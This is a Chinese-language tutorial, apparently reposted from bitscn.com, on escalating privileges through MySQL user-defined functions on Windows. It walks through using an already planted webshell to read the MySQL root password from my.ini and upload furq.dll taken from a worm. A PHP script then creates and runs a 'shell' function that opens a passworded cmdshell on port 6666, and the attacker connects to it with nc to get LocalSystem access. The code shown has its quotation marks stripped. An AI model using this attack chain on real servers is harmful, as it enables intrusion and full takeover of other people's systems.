bitscn.com
前不久网上公开了一个mysql func的漏洞,讲的是使用mysql创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对unix系统的exploit,并且成功率也不是很高.而近期,国内有高手放出针对win系统的相关文章,于是我马上找来与朋友一同研究.
其实我们早就能想到.当我们在对mssqloracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来进行攻击的。比如mssql有xp_cmdshell,oracle可以通过msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行的数据库软件之一的mysql,也是可以进行函数的创建的.由此看来,mysql的这个漏洞不应称为漏洞而仅仅是一个技术而已.
废话一堆过后,我们来了解一下怎么在mysql里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通.
mysql中创建一个函数的语句为:
create function functionname returns [string|integer|real] soname c:function.dll;
其中functionname指的是函数的名称,c:function.dll指的是函数所调用的dll,而函数名正是dll中的函数名称.不过这里需要我们注意的是,如果我们需要mysql可以在函数之中附带一个参数的话,那么就要符合udf形式的程序编写规则,具体的可以查看mysql手册的第14节:《为mysql增加新函数》.而其中string,integet,real是函数执行后所返回的值的形式.当然,我们大可不必遵循udf形式的编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说system(command.com)等等.网上现在以此漏洞进行攻击的furq蠕虫就是一个不使用udf格式的例子.但是注意,这个创建函数的语句必须要求我们所用的mysql帐户有对mysql这个数据库的写权限,否则无法正常使用.
好了.了解了原理之后,我们来实战一下如何使用mysql提升权限.
在这里我们已经通过各式各样的漏洞取得了一个服务器的webshell,我这里演示的是angel的phpspy,因为php默认有连接mysql的函数,而asp这些需要使用附加的组件来进行连接,本身不具备条件的.
一般来说,在win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的mysql信息.而如果我们攻克的主机没有非常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密码写进这个my.ini,所以一旦我们读到root用户的密码,就可以操纵整个mysql数据库或者是服务器了.如图1.
得到mysql的root密码之后,我们需要上传我们的dll文件,我这里使用的是从furq蠕虫中提取的furq.dll.执行这个furq.dll中的shell函数,系统将会在6666端口打开一个带密码的cmdshell,当然,密码我们已经知道,就是furq几个字符而已.不过我们现在还没有执行的条件.需要通过mysql将这个函数创建到mysql中去.
现在,我们用phpspy新建一个php文件.
输入以下的内容
$link=mysql_connect(127.0.0.1,root,root);
if (!$link) {
die(could not connect the database!: . mysql_error());
};
echo good boy.connected!
;
//这里的rootoot就是从my.ini中读取的用户和密码.
@mysql_select_db(mysql) or die (use database mysql failed!);
echo yes you did!
;
//这里选择使用mysql数据库表.当然你也可以选择别的,如test.
$query=create function shell returns integer soname d:/wwwroot/furq.dll;;
@$result = mysql_query($query, $link) or die (create function failed!);
echo goddess...successed!
;
//这两句话是关键,执行mysql的创建函数语句.将d:wwwrootfurq.dll中的shell函数创建进mysql中.使得mysql可以执行这个shell函数.
$query=select shell();;
@$result = mysql_query($query, $link) or die (execute failed);
echo congratulations! connect the port 6666 of this server vs password:furq
;
//这一步是执行这个shell函数,打开服务器的6666端口.
?>
再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:furq.然后就返回cmdshell了..当然,由于继承的是mysql的权限,而win系统下mysql默认以服务安装,也就是说,我们得到的shell为localsystem权限,可以为所欲为了,不过不要做坏事哦.呵呵.
bitscn.com